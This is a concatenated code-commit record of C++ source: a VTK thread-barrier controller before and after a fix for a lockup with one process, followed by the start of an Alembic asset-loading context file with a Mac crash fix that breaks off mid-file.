vtkOutputWindow { public: vtkTypeRevisionMacro(vtkThreadedControllerOutputWindow,vtkOutputWindow); void DisplayText(const char* t) { // Need to use critical section because the output window // is global. For the same reason, the process id has to // be obtained by calling GetGlobalController vtkOutputWindowCritSect.Lock(); vtkMultiProcessController* cont = vtkMultiProcessController::GetGlobalController(); if (cont) { cout << "Process id: " << cont->GetLocalProcessId() << " >> "; } cout << t; cout.flush(); vtkOutputWindowCritSect.Unlock(); } vtkThreadedControllerOutputWindow() { vtkObject* ret = vtkObjectFactory::CreateInstance("vtkThreadedControllerOutputWindow"); if (ret) ret->Delete(); } friend class vtkThreadedController; private: vtkThreadedControllerOutputWindow(const vtkThreadedControllerOutputWindow&); void operator=(const vtkThreadedControllerOutputWindow&); }; vtkCxxRevisionMacro(vtkThreadedControllerOutputWindow, "1.15"); vtkCxxRevisionMacro(vtkThreadedController, "1.15"); vtkStandardNewMacro(vtkThreadedController); void vtkThreadedController::CreateOutputWindow() { #if defined(VTK_USE_PTHREADS) || defined(VTK_USE_SPROC) || defined(VTK_USE_WIN32_THREADS) vtkThreadedControllerOutputWindow* window = new vtkThreadedControllerOutputWindow; this->OutputWindow = window; vtkOutputWindow::SetInstance(this->OutputWindow); #endif } //---------------------------------------------------------------------------- vtkThreadedController::vtkThreadedController() { this->LocalProcessId = 0; vtkMultiThreader::SetGlobalMaximumNumberOfThreads(0); this->MultiThreader = 0; this->NumberOfProcesses = 0; this->MultipleMethodFlag = 0; this->LastNumberOfProcesses = 0; this->Controllers = 0; this->OutputWindow = 0; } //---------------------------------------------------------------------------- vtkThreadedController::~vtkThreadedController() { if (this->MultiThreader) { this->MultiThreader->Delete(); } if(this->Communicator) { this->Communicator->Delete(); } this->NumberOfProcesses = 0; this->ResetControllers(); } //---------------------------------------------------------------------------- void vtkThreadedController::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os,indent); if (this->MultiThreader) { os << indent << "MultiThreader:\n"; this->MultiThreader->PrintSelf(os, indent.GetNextIndent()); } else { os << indent << "MultiThreader: (none)\n"; } os << indent << "LocalProcessId: " << this->LocalProcessId << endl; os << indent << "Barrier in progress: " << (vtkThreadedController::IsBarrierInProgress ? "(yes)" : "(no)") << endl; os << indent << "Barrier counter: " << vtkThreadedController::Counter << endl; os << indent << "Last number of processes: " << this->LastNumberOfProcesses << endl; } //---------------------------------------------------------------------------- void vtkThreadedController::Initialize(int* vtkNotUsed(argc), char*** vtkNotUsed(argv)) { } void vtkThreadedController::ResetControllers() { int i; for(i=1; i < this->LastNumberOfProcesses; i++) { this->Controllers[i]->Delete(); } if (this->NumberOfProcesses == this->LastNumberOfProcesses) { return; } delete[] this->Controllers; if (this->NumberOfProcesses > 0 ) { this->Controllers = new vtkThreadedController*[this->NumberOfProcesses]; } } //---------------------------------------------------------------------------- // Called before threads are spawned to create the "process objecs". void vtkThreadedController::CreateProcessControllers() { // Delete previous controllers. this->ResetControllers(); // Create the controllers. // The original controller will be assigned thread 0. this->Controllers[0] = this; this->LocalProcessId = 0; // Create a new communicator. if (this->Communicator) { this->Communicator->Delete(); } this->Communicator = vtkSharedMemoryCommunicator::New(); ((vtkSharedMemoryCommunicator*)this->Communicator)->Initialize( this->NumberOfProcesses, this->ForceDeepCopy); this->RMICommunicator = this->Communicator; // Initialize the new controllers. for (int i = 1; i < this->NumberOfProcesses; ++i) { this->Controllers[i] = vtkThreadedController::New(); this->Controllers[i]->LocalProcessId = i; this->Controllers[i]->NumberOfProcesses = this->NumberOfProcesses; this->Controllers[i]->Communicator = ((vtkSharedMemoryCommunicator*)this->Communicator)->Communicators[i]; this->Controllers[i]->RMICommunicator = ((vtkSharedMemoryCommunicator*)this->RMICommunicator)->Communicators[i]; } // Stored in case someone changes the number of processes. // Needed to delete the controllers properly. this->LastNumberOfProcesses = this->NumberOfProcesses; } vtkSimpleCriticalSection vtkThreadedController::CounterLock; int vtkThreadedController::Counter; #ifdef VTK_USE_WIN32_THREADS HANDLE vtkThreadedController::BarrierEndedEvent = 0; HANDLE vtkThreadedController::NextThread = 0; #else vtkSimpleCriticalSection vtkThreadedController::BarrierLock(1); vtkSimpleCriticalSection vtkThreadedController::BarrierInProgress; #endif int vtkThreadedController::IsBarrierInProgress=0; void vtkThreadedController::Barrier() { vtkThreadedController::InitializeBarrier(); // If there was a barrier before this one, we need to // wait until that is cleaned up if (vtkThreadedController::IsBarrierInProgress) { vtkThreadedController::WaitForPreviousBarrierToEnd(); } #ifdef VTK_USE_WIN32_THREADS else { ResetEvent(vtkThreadedController::BarrierEndedEvent); } #endif // All processes increment the counter (which is initially 0) by 1 vtkThreadedController::CounterLock.Lock(); int count = ++vtkThreadedController::Counter; vtkThreadedController::CounterLock.Unlock(); if (count == this->NumberOfProcesses) { // If you are the last process, unlock the barrier vtkThreadedController::BarrierStarted(); vtkThreadedController::SignalNextThread(); } else { // If you are not the last process, wait until someone unlocks // the barrier vtkThreadedController::WaitForNextThread(); vtkThreadedController::CounterLock.Lock(); vtkThreadedController::Counter--; vtkThreadedController::CounterLock.Unlock(); if (vtkThreadedController::Counter == 1) { // If you are the last process to pass the barrier // Set the counter to 0 and leave the barrier locked vtkThreadedController::Counter = 0; // Barrier is over, another one can start vtkThreadedController::BarrierEnded(); } else { // unlock the barrier for the next guy vtkThreadedController::SignalNextThread(); } } } //---------------------------------------------------------------------------- VTK_THREAD_RETURN_TYPE vtkThreadedController::vtkThreadedControllerStart( void *arg ) { ThreadInfoStruct* info = (ThreadInfoStruct*)(arg); int threadId = info->ThreadID; vtkThreadedController *controller0 =(vtkThreadedController*)(info->UserData); controller0->Start(threadId); return VTK_THREAD_RETURN_VALUE; } //---------------------------------------------------------------------------- // We are going to try something new. We will pass the local controller // as the argument. void vtkThreadedController::Start(int threadId) { vtkThreadedController* localController = this->Controllers[threadId]; // Store threadId in a table. #ifdef VTK_USE_PTHREADS localController->ThreadId = pthread_self(); #elif defined VTK_USE_SPROC localController->ThreadId = PRDA->sys_prda.prda_sys.t_pid; #elif defined VTK_USE_WIN32_THREADS localController->ThreadId = GetCurrentThreadId(); #endif this->Barrier(); if (this->MultipleMethodFlag) { if (this->MultipleMethod[threadId]) { (this->MultipleMethod[threadId])(localController, this->MultipleData[threadId]); } else { vtkWarningMacro("MultipleMethod " << threadId << " not set"); } } else { if (this->SingleMethod) { (this->SingleMethod)(localController, this->SingleData); } else { vtkErrorMacro("SingleMethod not set"); } } } //---------------------------------------------------------------------------- // Execute the method set as the SingleMethod on NumberOfThreads threads. void vtkThreadedController::SingleMethodExecute() { if (!this->MultiThreader) { this->MultiThreader = vtkMultiThreader::New(); } this->CreateProcessControllers(); this->MultipleMethodFlag = 0; this->MultiThreader->SetSingleMethod(vtkThreadedControllerStart, (void*)this); this->MultiThreader->SetNumberOfThreads(this->NumberOfProcesses); // GLOBAL_CONTROLLER will be from thread0 always. // GetLocalController will translate to the local controller. vtkMultiProcessController::SetGlobalController(this); this->MultiThreader->SingleMethodExecute(); } //---------------------------------------------------------------------------- // Execute the methods set as the MultipleMethods. void vtkThreadedController::MultipleMethodExecute() { if (!this->MultiThreader) { this->MultiThreader = vtkMultiThreader::New(); } this->CreateProcessControllers(); this->MultipleMethodFlag = 1; this->MultiThreader->SetSingleMethod(vtkThreadedControllerStart, (void*)this); this->MultiThreader->SetNumberOfThreads(this->NumberOfProcesses); // GLOBAL_CONTROLLER will be from thread0 always. // GetLocalController will translate to the local controller. vtkMultiProcessController::SetGlobalController(this); this->MultiThreader->SingleMethodExecute(); } vtkMultiProcessController *vtkThreadedController::GetLocalController() { #ifdef VTK_USE_PTHREADS int idx; pthread_t pid = pthread_self(); for (idx = 0; idx < this->NumberOfProcesses; ++idx) { if (pthread_equal(pid, this->Controllers[idx]->ThreadId)) { return this->Controllers[idx]; } } // Need to use cerr instead of error macro here to prevent // recursion (the controller's output window calls GetLocalController) cerr << "Could Not Find my process id." << endl; return NULL; #elif defined VTK_USE_SPROC int idx; pid_t pid = PRDA->sys_prda.prda_sys.t_pid; for (idx = 0; idx < this->NumberOfProcesses; ++idx) { if (pid == this->Controllers[idx]->ThreadId) { return this->Controllers[idx]; } } // Need to use cerr instead of error macro here to prevent // recursion (the controller's output window calls GetLocalController) cerr << "Could Not Find my process id." << endl; return NULL; #elif defined VTK_USE_WIN32_THREADS int idx; DWORD pid = GetCurrentThreadId(); for (idx = 0; idx < this->NumberOfProcesses; ++idx) { if (pid == this->Controllers[idx]->ThreadId) { return this->Controllers[idx]; } } // Need to use cerr instead of error macro here to prevent // recursion (the controller's output window calls GetLocalController) cerr << "Could Not Find my process id." << endl; return NULL; #else vtkErrorMacro("ThreadedController only works with windows api, pthreads or sproc"); return this; #endif } // Note that the Windows and Unix implementations of // these methods are completely different. This is because, // in Windows, if the same thread locks the same mutex/critical // section twice, it will not block. Therefore, this method // can not be used to make the threads wait until all of them // reach the barrier // If there was a barrier before this one, we need to // wait until that is cleaned up or bad things happen. void vtkThreadedController::WaitForPreviousBarrierToEnd() { #ifdef VTK_USE_WIN32_THREADS WaitForSingleObject(vtkThreadedController::BarrierEndedEvent, INFINITE); #else vtkThreadedController::BarrierInProgress.Lock(); vtkThreadedController::BarrierInProgress.Unlock(); #endif } void vtkThreadedController::BarrierStarted() { vtkThreadedController::IsBarrierInProgress = 1; #ifdef VTK_USE_WIN32_THREADS #else vtkThreadedController::BarrierInProgress.Lock(); #endif } // A new barrier can now start void vtkThreadedController::BarrierEnded() { vtkThreadedController::IsBarrierInProgress = 0; #ifdef VTK_USE_WIN32_THREADS SetEvent(vtkThreadedController::BarrierEndedEvent); #else vtkThreadedController::BarrierInProgress.Unlock(); #endif } // Tell the next guy that it is ok to continue with the barrier void vtkThreadedController::SignalNextThread() { #ifdef VTK_USE_WIN32_THREADS SetEvent(vtkThreadedController::NextThread); #else vtkThreadedController::BarrierLock.Unlock(); #endif } // Create the windows event necessary for waiting void vtkThreadedController::InitializeBarrier() { #ifdef VTK_USE_WIN32_THREADS if (!BarrierEndedEvent) { vtkThreadedController::BarrierEndedEvent = CreateEvent(0,FALSE,FALSE,0); vtkThreadedController::NextThread = CreateEvent(0,FALSE,FALSE,0); } #endif } // Wait until the previous thread says it's ok to continue void vtkThreadedController::WaitForNextThread() { #ifdef VTK_USE_WIN32_THREADS WaitForSingleObject(vtkThreadedController::NextThread,INFINITE); #else vtkThreadedController::BarrierLock.Lock(); #endif } <commit_msg>BUG: Barrier caused lockup when using 1 process.<commit_after>/*========================================================================= Program: Visualization Toolkit Module: vtkThreadedController.cxx Language: C++ Date: $Date$ Version: $Revision$ Copyright (c) 1993-2002 Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkThreadedController.h" #include "vtkObjectFactory.h" #include "vtkDataSet.h" #include "vtkImageData.h" #include "vtkOutputWindow.h" #include "vtkCriticalSection.h" #include "vtkSharedMemoryCommunicator.h" #ifdef VTK_USE_SPROC #include <sys/prctl.h> #endif static vtkSimpleCriticalSection vtkOutputWindowCritSect; // Output window which prints out the process id // with the error or warning messages class VTK_PARALLEL_EXPORT vtkThreadedControllerOutputWindow : public vtkOutputWindow { public: vtkTypeRevisionMacro(vtkThreadedControllerOutputWindow,vtkOutputWindow); void DisplayText(const char* t) { // Need to use critical section because the output window // is global. For the same reason, the process id has to // be obtained by calling GetGlobalController vtkOutputWindowCritSect.Lock(); vtkMultiProcessController* cont = vtkMultiProcessController::GetGlobalController(); if (cont) { cout << "Process id: " << cont->GetLocalProcessId() << " >> "; } cout << t; cout.flush(); vtkOutputWindowCritSect.Unlock(); } vtkThreadedControllerOutputWindow() { vtkObject* ret = vtkObjectFactory::CreateInstance("vtkThreadedControllerOutputWindow"); if (ret) ret->Delete(); } friend class vtkThreadedController; private: vtkThreadedControllerOutputWindow(const vtkThreadedControllerOutputWindow&); void operator=(const vtkThreadedControllerOutputWindow&); }; vtkCxxRevisionMacro(vtkThreadedControllerOutputWindow, "1.16"); vtkCxxRevisionMacro(vtkThreadedController, "1.16"); vtkStandardNewMacro(vtkThreadedController); void vtkThreadedController::CreateOutputWindow() { #if defined(VTK_USE_PTHREADS) || defined(VTK_USE_SPROC) || defined(VTK_USE_WIN32_THREADS) vtkThreadedControllerOutputWindow* window = new vtkThreadedControllerOutputWindow; this->OutputWindow = window; vtkOutputWindow::SetInstance(this->OutputWindow); #endif } //---------------------------------------------------------------------------- vtkThreadedController::vtkThreadedController() { this->LocalProcessId = 0; vtkMultiThreader::SetGlobalMaximumNumberOfThreads(0); this->MultiThreader = 0; this->NumberOfProcesses = 0; this->MultipleMethodFlag = 0; this->LastNumberOfProcesses = 0; this->Controllers = 0; this->OutputWindow = 0; } //---------------------------------------------------------------------------- vtkThreadedController::~vtkThreadedController() { if (this->MultiThreader) { this->MultiThreader->Delete(); } if(this->Communicator) { this->Communicator->Delete(); } this->NumberOfProcesses = 0; this->ResetControllers(); } //---------------------------------------------------------------------------- void vtkThreadedController::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os,indent); if (this->MultiThreader) { os << indent << "MultiThreader:\n"; this->MultiThreader->PrintSelf(os, indent.GetNextIndent()); } else { os << indent << "MultiThreader: (none)\n"; } os << indent << "LocalProcessId: " << this->LocalProcessId << endl; os << indent << "Barrier in progress: " << (vtkThreadedController::IsBarrierInProgress ? "(yes)" : "(no)") << endl; os << indent << "Barrier counter: " << vtkThreadedController::Counter << endl; os << indent << "Last number of processes: " << this->LastNumberOfProcesses << endl; } //---------------------------------------------------------------------------- void vtkThreadedController::Initialize(int* vtkNotUsed(argc), char*** vtkNotUsed(argv)) { } void vtkThreadedController::ResetControllers() { int i; for(i=1; i < this->LastNumberOfProcesses; i++) { this->Controllers[i]->Delete(); } if (this->NumberOfProcesses == this->LastNumberOfProcesses) { return; } delete[] this->Controllers; if (this->NumberOfProcesses > 0 ) { this->Controllers = new vtkThreadedController*[this->NumberOfProcesses]; } } //---------------------------------------------------------------------------- // Called before threads are spawned to create the "process objecs". void vtkThreadedController::CreateProcessControllers() { // Delete previous controllers. this->ResetControllers(); // Create the controllers. // The original controller will be assigned thread 0. this->Controllers[0] = this; this->LocalProcessId = 0; // Create a new communicator. if (this->Communicator) { this->Communicator->Delete(); } this->Communicator = vtkSharedMemoryCommunicator::New(); ((vtkSharedMemoryCommunicator*)this->Communicator)->Initialize( this->NumberOfProcesses, this->ForceDeepCopy); this->RMICommunicator = this->Communicator; // Initialize the new controllers. for (int i = 1; i < this->NumberOfProcesses; ++i) { this->Controllers[i] = vtkThreadedController::New(); this->Controllers[i]->LocalProcessId = i; this->Controllers[i]->NumberOfProcesses = this->NumberOfProcesses; this->Controllers[i]->Communicator = ((vtkSharedMemoryCommunicator*)this->Communicator)->Communicators[i]; this->Controllers[i]->RMICommunicator = ((vtkSharedMemoryCommunicator*)this->RMICommunicator)->Communicators[i]; } // Stored in case someone changes the number of processes. // Needed to delete the controllers properly. this->LastNumberOfProcesses = this->NumberOfProcesses; } vtkSimpleCriticalSection vtkThreadedController::CounterLock; int vtkThreadedController::Counter; #ifdef VTK_USE_WIN32_THREADS HANDLE vtkThreadedController::BarrierEndedEvent = 0; HANDLE vtkThreadedController::NextThread = 0; #else vtkSimpleCriticalSection vtkThreadedController::BarrierLock(1); vtkSimpleCriticalSection vtkThreadedController::BarrierInProgress; #endif int vtkThreadedController::IsBarrierInProgress=0; void vtkThreadedController::Barrier() { if (this->NumberOfProcesses == 0) { return; } vtkThreadedController::InitializeBarrier(); // If there was a barrier before this one, we need to // wait until that is cleaned up if (vtkThreadedController::IsBarrierInProgress) { vtkThreadedController::WaitForPreviousBarrierToEnd(); } #ifdef VTK_USE_WIN32_THREADS else { ResetEvent(vtkThreadedController::BarrierEndedEvent); } #endif // All processes increment the counter (which is initially 0) by 1 vtkThreadedController::CounterLock.Lock(); int count = ++vtkThreadedController::Counter; vtkThreadedController::CounterLock.Unlock(); if (count == this->NumberOfProcesses) { // If you are the last process, unlock the barrier vtkThreadedController::BarrierStarted(); vtkThreadedController::SignalNextThread(); } else { // If you are not the last process, wait until someone unlocks // the barrier vtkThreadedController::WaitForNextThread(); vtkThreadedController::CounterLock.Lock(); vtkThreadedController::Counter--; vtkThreadedController::CounterLock.Unlock(); if (vtkThreadedController::Counter == 1) { // If you are the last process to pass the barrier // Set the counter to 0 and leave the barrier locked vtkThreadedController::Counter = 0; // Barrier is over, another one can start vtkThreadedController::BarrierEnded(); } else { // unlock the barrier for the next guy vtkThreadedController::SignalNextThread(); } } } //---------------------------------------------------------------------------- VTK_THREAD_RETURN_TYPE vtkThreadedController::vtkThreadedControllerStart( void *arg ) { ThreadInfoStruct* info = (ThreadInfoStruct*)(arg); int threadId = info->ThreadID; vtkThreadedController *controller0 =(vtkThreadedController*)(info->UserData); controller0->Start(threadId); return VTK_THREAD_RETURN_VALUE; } //---------------------------------------------------------------------------- // We are going to try something new. We will pass the local controller // as the argument. void vtkThreadedController::Start(int threadId) { vtkThreadedController* localController = this->Controllers[threadId]; // Store threadId in a table. #ifdef VTK_USE_PTHREADS localController->ThreadId = pthread_self(); #elif defined VTK_USE_SPROC localController->ThreadId = PRDA->sys_prda.prda_sys.t_pid; #elif defined VTK_USE_WIN32_THREADS localController->ThreadId = GetCurrentThreadId(); #endif this->Barrier(); if (this->MultipleMethodFlag) { if (this->MultipleMethod[threadId]) { (this->MultipleMethod[threadId])(localController, this->MultipleData[threadId]); } else { vtkWarningMacro("MultipleMethod " << threadId << " not set"); } } else { if (this->SingleMethod) { (this->SingleMethod)(localController, this->SingleData); } else { vtkErrorMacro("SingleMethod not set"); } } } //---------------------------------------------------------------------------- // Execute the method set as the SingleMethod on NumberOfThreads threads. void vtkThreadedController::SingleMethodExecute() { if (!this->MultiThreader) { this->MultiThreader = vtkMultiThreader::New(); } this->CreateProcessControllers(); this->MultipleMethodFlag = 0; this->MultiThreader->SetSingleMethod(vtkThreadedControllerStart, (void*)this); this->MultiThreader->SetNumberOfThreads(this->NumberOfProcesses); // GLOBAL_CONTROLLER will be from thread0 always. // GetLocalController will translate to the local controller. vtkMultiProcessController::SetGlobalController(this); this->MultiThreader->SingleMethodExecute(); } //---------------------------------------------------------------------------- // Execute the methods set as the MultipleMethods. void vtkThreadedController::MultipleMethodExecute() { if (!this->MultiThreader) { this->MultiThreader = vtkMultiThreader::New(); } this->CreateProcessControllers(); this->MultipleMethodFlag = 1; this->MultiThreader->SetSingleMethod(vtkThreadedControllerStart, (void*)this); this->MultiThreader->SetNumberOfThreads(this->NumberOfProcesses); // GLOBAL_CONTROLLER will be from thread0 always. // GetLocalController will translate to the local controller. vtkMultiProcessController::SetGlobalController(this); this->MultiThreader->SingleMethodExecute(); } vtkMultiProcessController *vtkThreadedController::GetLocalController() { #ifdef VTK_USE_PTHREADS int idx; pthread_t pid = pthread_self(); for (idx = 0; idx < this->NumberOfProcesses; ++idx) { if (pthread_equal(pid, this->Controllers[idx]->ThreadId)) { return this->Controllers[idx]; } } // Need to use cerr instead of error macro here to prevent // recursion (the controller's output window calls GetLocalController) cerr << "Could Not Find my process id." << endl; return NULL; #elif defined VTK_USE_SPROC int idx; pid_t pid = PRDA->sys_prda.prda_sys.t_pid; for (idx = 0; idx < this->NumberOfProcesses; ++idx) { if (pid == this->Controllers[idx]->ThreadId) { return this->Controllers[idx]; } } // Need to use cerr instead of error macro here to prevent // recursion (the controller's output window calls GetLocalController) cerr << "Could Not Find my process id." << endl; return NULL; #elif defined VTK_USE_WIN32_THREADS int idx; DWORD pid = GetCurrentThreadId(); for (idx = 0; idx < this->NumberOfProcesses; ++idx) { if (pid == this->Controllers[idx]->ThreadId) { return this->Controllers[idx]; } } // Need to use cerr instead of error macro here to prevent // recursion (the controller's output window calls GetLocalController) cerr << "Could Not Find my process id." << endl; return NULL; #else vtkErrorMacro("ThreadedController only works with windows api, pthreads or sproc"); return this; #endif } // Note that the Windows and Unix implementations of // these methods are completely different. This is because, // in Windows, if the same thread locks the same mutex/critical // section twice, it will not block. Therefore, this method // can not be used to make the threads wait until all of them // reach the barrier // If there was a barrier before this one, we need to // wait until that is cleaned up or bad things happen. void vtkThreadedController::WaitForPreviousBarrierToEnd() { #ifdef VTK_USE_WIN32_THREADS WaitForSingleObject(vtkThreadedController::BarrierEndedEvent, INFINITE); #else vtkThreadedController::BarrierInProgress.Lock(); vtkThreadedController::BarrierInProgress.Unlock(); #endif } void vtkThreadedController::BarrierStarted() { vtkThreadedController::IsBarrierInProgress = 1; #ifdef VTK_USE_WIN32_THREADS #else vtkThreadedController::BarrierInProgress.Lock(); #endif } // A new barrier can now start void vtkThreadedController::BarrierEnded() { vtkThreadedController::IsBarrierInProgress = 0; #ifdef VTK_USE_WIN32_THREADS SetEvent(vtkThreadedController::BarrierEndedEvent); #else vtkThreadedController::BarrierInProgress.Unlock(); #endif } // Tell the next guy that it is ok to continue with the barrier void vtkThreadedController::SignalNextThread() { #ifdef VTK_USE_WIN32_THREADS SetEvent(vtkThreadedController::NextThread); #else vtkThreadedController::BarrierLock.Unlock(); #endif } // Create the windows event necessary for waiting void vtkThreadedController::InitializeBarrier() { #ifdef VTK_USE_WIN32_THREADS if (!BarrierEndedEvent) { vtkThreadedController::BarrierEndedEvent = CreateEvent(0,FALSE,FALSE,0); vtkThreadedController::NextThread = CreateEvent(0,FALSE,FALSE,0); } #endif } // Wait until the previous thread says it's ok to continue void vtkThreadedController::WaitForNextThread() { #ifdef VTK_USE_WIN32_THREADS WaitForSingleObject(vtkThreadedController::NextThread,INFINITE); #else vtkThreadedController::BarrierLock.Lock(); #endif } <|endoftext|>
<commit_before>#include "pch.h" #include "aiInternal.h" #include "aiContext.h" #include "aiObject.h" #include "aiAsync.h" std::string ToString(const aiConfig &v) { std::ostringstream oss; oss << "{swapHandedness: " << (v.swap_handedness ? "true" : "false"); oss << ", swapFaceWinding: " << (v.swap_face_winding ? "true" : "false"); oss << ", normalsMode: " << (v.normals_mode == aiNormalsMode::ReadFromFile ? "read_from_file" : (v.normals_mode == aiNormalsMode::ComputeIfMissing ? "compute_if_missing" : (v.normals_mode == aiNormalsMode::AlwaysCompute ? "always_compute" : "ignore"))); oss << ", tangentsMode: " << (v.tangents_mode == aiTangentsMode::None ? "none" : (v.tangents_mode == aiTangentsMode::Compute ? "smooth" : "split")); oss << ", aspectRatio: " << v.aspect_ratio; return oss.str(); } aiContextManager aiContextManager::s_instance; aiContext* aiContextManager::getContext(int uid) { auto it = s_instance.m_contexts.find(uid); if (it != s_instance.m_contexts.end()) { DebugLog("Using already created context for gameObject with ID %d", uid); return it->second.get(); } auto ctx = new aiContext(uid); s_instance.m_contexts[uid].reset(ctx); DebugLog("Register context for gameObject with ID %d", uid); return ctx; } void aiContextManager::destroyContext(int uid) { auto it = s_instance.m_contexts.find(uid); if (it != s_instance.m_contexts.end()) { DebugLog("Unregister context for gameObject with ID %d", uid); s_instance.m_contexts.erase(it); } } void aiContextManager::destroyContextsWithPath(const char* assetPath) { auto path = aiContext::normalizePath(assetPath); for (auto it = s_instance.m_contexts.begin(); it != s_instance.m_contexts.end(); ++it) { if (it->second->getPath() == path) { DebugLog("Unregister context for gameObject with ID %s", it->second->getPath().c_str()); s_instance.m_contexts.erase(it); } } } aiContextManager::~aiContextManager() { if (m_contexts.size()) { DebugWarning("%lu remaining context(s) registered", m_contexts.size()); } m_contexts.clear(); } aiContext::aiContext(int uid) : m_uid(uid) { } aiContext::~aiContext() { waitAsync(); m_top_node.reset(); m_archive.reset(); } Abc::IArchive aiContext::getArchive() const { return m_archive; } const std::string& aiContext::getPath() const { return m_path; } int aiContext::getTimeRangeCount() const { return (int)m_time_ranges.size(); } void aiContext::getTimeRange(int tsi, aiTimeRange & dst) const { if (tsi >= 0 && tsi < (int)m_time_ranges.size()) { dst = m_time_ranges[tsi]; } else { dst = m_time_range_unified; } } int aiContext::getTimeSamplingCount() { return (int)m_archive.getNumTimeSamplings(); } int aiContext::getTimeSamplingIndex(Abc::TimeSamplingPtr ts) { int n = m_archive.getNumTimeSamplings(); for (int i = 0; i < n; ++i) { if (m_archive.getTimeSampling(i) == ts) { return i; } } return 0; } int aiContext::getUid() const { return m_uid; } const aiConfig& aiContext::getConfig() const { return m_config; } void aiContext::setConfig(const aiConfig &config) { DebugLog("aiContext::setConfig: %s", ToString(config).c_str()); m_config = config; } void aiContext::gatherNodesRecursive(aiObject *n) { abcObject &abc = n->getAbcObject(); size_t numChildren = abc.getNumChildren(); for (size_t i = 0; i < numChildren; ++i) { aiObject *child = n->newChild(abc.getChild(i)); gatherNodesRecursive(child); } } void aiContext::reset() { DebugLog("aiContext::reset()"); m_top_node.reset(); m_path = ""; m_archive.reset(); m_time_range_unified = {}; m_time_ranges.clear(); } std::string aiContext::normalizePath(const char *inPath) { std::string path; if (inPath != nullptr) { path = inPath; #ifdef _WIN32 size_t n = path.length(); for (size_t i=0; i<n; ++i) { char c = path[i]; if (c == '\\') { path[i] = '/'; } else if (c >= 'A' && c <= 'Z') { path[i] = 'a' + (c - 'A'); } } #endif } return path; } bool aiContext::load(const char *inPath) { std::string path = normalizePath(inPath); DebugLog("aiContext::load: '%s'", path.c_str()); if (path == m_path && m_archive) { DebugLog("Context already loaded for gameObject with id %d", m_uid); return true; } DebugLog("Alembic file path changed from '%s' to '%s'. Reset context.", m_path.c_str(), path.c_str()); aiLogger::Indent(1); reset(); if (path.length() == 0) { aiLogger::Unindent(1); return false; } m_path = path; if (!m_archive.valid()) { DebugLog("Archive '%s' not yet opened", inPath); try { DebugLog("Trying to open AbcCoreOgawa::ReadArchive..."); m_archive = Abc::IArchive(AbcCoreOgawa::ReadArchive(std::thread::hardware_concurrency()), path); } catch (Alembic::Util::Exception e) { DebugLog("Failed (%s)", e.what()); try { DebugLog("Trying to open AbcCoreHDF5::ReadArchive..."); m_archive = Abc::IArchive(AbcCoreHDF5::ReadArchive(), path); } catch (Alembic::Util::Exception e2) { DebugLog("Failed (%s)", e2.what()); } } } else { DebugLog("Archive '%s' already opened", inPath); } if (m_archive.valid()) { abcObject abcTop = m_archive.getTop(); m_top_node.reset(new aiObject(this, nullptr, abcTop)); gatherNodesRecursive(m_top_node.get()); m_time_range_unified = {}; m_time_ranges.clear(); auto num_time_samplings = (int)m_archive.getNumTimeSamplings(); if (num_time_samplings > 1) { aiTimeRange tr; tr.start_time = std::numeric_limits<float>::max(); tr.end_time = -std::numeric_limits<float>::max(); for (int i = 1; i < num_time_samplings; ++i) { auto ts = m_archive.getTimeSampling(i); auto tst = ts->getTimeSamplingType(); // Note: alembic guaranties we have at least one stored time if (tst.isCyclic() || tst.isUniform()) { auto max_num_samples = m_archive.getMaxNumSamplesForTimeSamplingIndex(i); auto samples_per_cycle = tst.getNumSamplesPerCycle(); auto time_per_cycle = tst.getTimePerCycle(); int num_cycles = int(max_num_samples / samples_per_cycle); if (tst.isUniform()) tr.type = aiTimeSamplingType::Uniform; else if (tst.isCyclic()) tr.type = aiTimeSamplingType::Cyclic; tr.start_time = ts->getStoredTimes()[0]; tr.end_time = tr.start_time + (num_cycles - 1) * time_per_cycle; tr.frame_count = num_cycles; } else if (tst.isAcyclic()) { tr.type = aiTimeSamplingType::Acyclic; tr.start_time = ts->getSampleTime(0); tr.end_time = ts->getSampleTime(ts->getNumStoredTimes() - 1); tr.frame_count = (int)ts->getNumStoredTimes(); } if (tr.start_time > tr.end_time) { tr.start_time = 0.0; tr.end_time = 0.0; } m_time_ranges.push_back(tr); } m_time_range_unified = m_time_ranges.front(); for (size_t i = 1; i < m_time_ranges.size(); ++i) { auto& tr = m_time_ranges[i]; if (m_time_range_unified.type != tr.type) m_time_range_unified.type = aiTimeSamplingType::Mixed; m_time_range_unified.start_time = std::min(m_time_range_unified.start_time, tr.start_time); m_time_range_unified.end_time = std::max(m_time_range_unified.end_time, tr.end_time); m_time_range_unified.frame_count = std::max(m_time_range_unified.frame_count, tr.frame_count); } } DebugLog("Succeeded"); aiLogger::Unindent(1); return true; } else { aiLogger::Error("Invalid archive '%s'", inPath); aiLogger::Unindent(1); reset(); return false; } } aiObject* aiContext::getTopObject() const { return m_top_node.get(); } void aiContext::updateSamples(double time) { waitAsync(); auto ss = aiTimeToSampleSelector(time); eachNodes([ss](aiObject& o) { o.updateSample(ss); }); // kick async tasks! if (!m_async_tasks.empty()) { for (auto task : m_async_tasks) task->prepare(); m_async_future = std::async(std::launch::async, [this]() { for (auto task : m_async_tasks) task->run(); m_async_tasks.clear(); }); } } void aiContext::queueAsync(aiAsync& task) { m_async_tasks.push_back(&task); } void aiContext::waitAsync() { if (m_async_future.valid()) m_async_future.wait(); } <commit_msg>fix crash when reimport instantiated asset on Mac<commit_after>#include "pch.h" #include "aiInternal.h" #include "aiContext.h" #include "aiObject.h" #include "aiAsync.h" std::string ToString(const aiConfig &v) { std::ostringstream oss; oss << "{swapHandedness: " << (v.swap_handedness ? "true" : "false"); oss << ", swapFaceWinding: " << (v.swap_face_winding ? "true" : "false"); oss << ", normalsMode: " << (v.normals_mode == aiNormalsMode::ReadFromFile ? "read_from_file" : (v.normals_mode == aiNormalsMode::ComputeIfMissing ? "compute_if_missing" : (v.normals_mode == aiNormalsMode::AlwaysCompute ? "always_compute" : "ignore"))); oss << ", tangentsMode: " << (v.tangents_mode == aiTangentsMode::None ? "none" : (v.tangents_mode == aiTangentsMode::Compute ? "smooth" : "split")); oss << ", aspectRatio: " << v.aspect_ratio; return oss.str(); } aiContextManager aiContextManager::s_instance; aiContext* aiContextManager::getContext(int uid) { auto it = 